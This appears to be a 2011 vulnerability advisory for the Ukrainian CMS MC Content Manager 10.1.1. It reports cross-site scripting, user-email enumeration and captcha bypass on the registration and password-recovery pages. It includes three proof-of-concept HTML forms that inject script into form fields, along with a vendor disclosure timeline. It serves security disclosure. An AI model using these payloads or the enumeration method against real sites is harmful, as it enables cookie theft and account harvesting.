Home / exploits MC Content Manager 10.1.1 Cross Site Scripting
Posted on 24 March 2011
Hello list! I want to warn you about Cross-Site Scripting, Abuse of Functionality and Insufficient Anti-automation vulnerabilities in MC Content Manager. It's Ukrainian commercial CMS. ------------------------- Affected products: ------------------------- Vulnerable are potentially all versions of MC Content Manager (MC Content Manager v.10.1.1 and previous versions). ---------- Details: ---------- XSS (WASC-08): Vulnerabilities are at registration and password recovery pages. POC 1: <form name="hack" action="http://site/?module=users" method="post"> <input type="hidden" name="module" value="users"> <input type="hidden" name="action" value="remind"> <input type="hidden" name="user_email" value='"><script>alert(document.cookie)</script>'> </form> POC 2: <form name="hack" action="http://site/?module=users" method="post"> <input type="hidden" name="module" value="users"> <input type="hidden" name="action" value="register"> <input type="hidden" name="user_email" value='"><script>alert(document.cookie)</script>'> </form> POC 3: <form name="hack" action="http://site/?module=users" method="post"> <input type="hidden" name="module" value="users"> <input type="hidden" name="action" value="register"> <input type="hidden" name="user_hide" value='"><script>alert(document.cookie)</script>'> </form> Abuse of Functionality (WASC-42): http://site/users/register http://site/users/remind At registration and password recovery pages it's possible to enumerate e-mails of the users (which are logins). Insufficient Anti-automation (WASC-21): http://site/users/register http://site/users/remind Even captcha is using at these pages, it's not needed to enter correct captcha for enumeration of e-mails (logins) of the users. ------------ Timeline: ------------ 2011.01.24 - announced at my site. 2011.01.25 - informed developers. 2011.01.25 - received response from developers. 2011.01.25 - gave additional recommendations for developers. 2011.03.22 - disclosed at my site. I mentioned about these vulnerabilities at my site (http://websecurity.com.ua/4869/). Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua
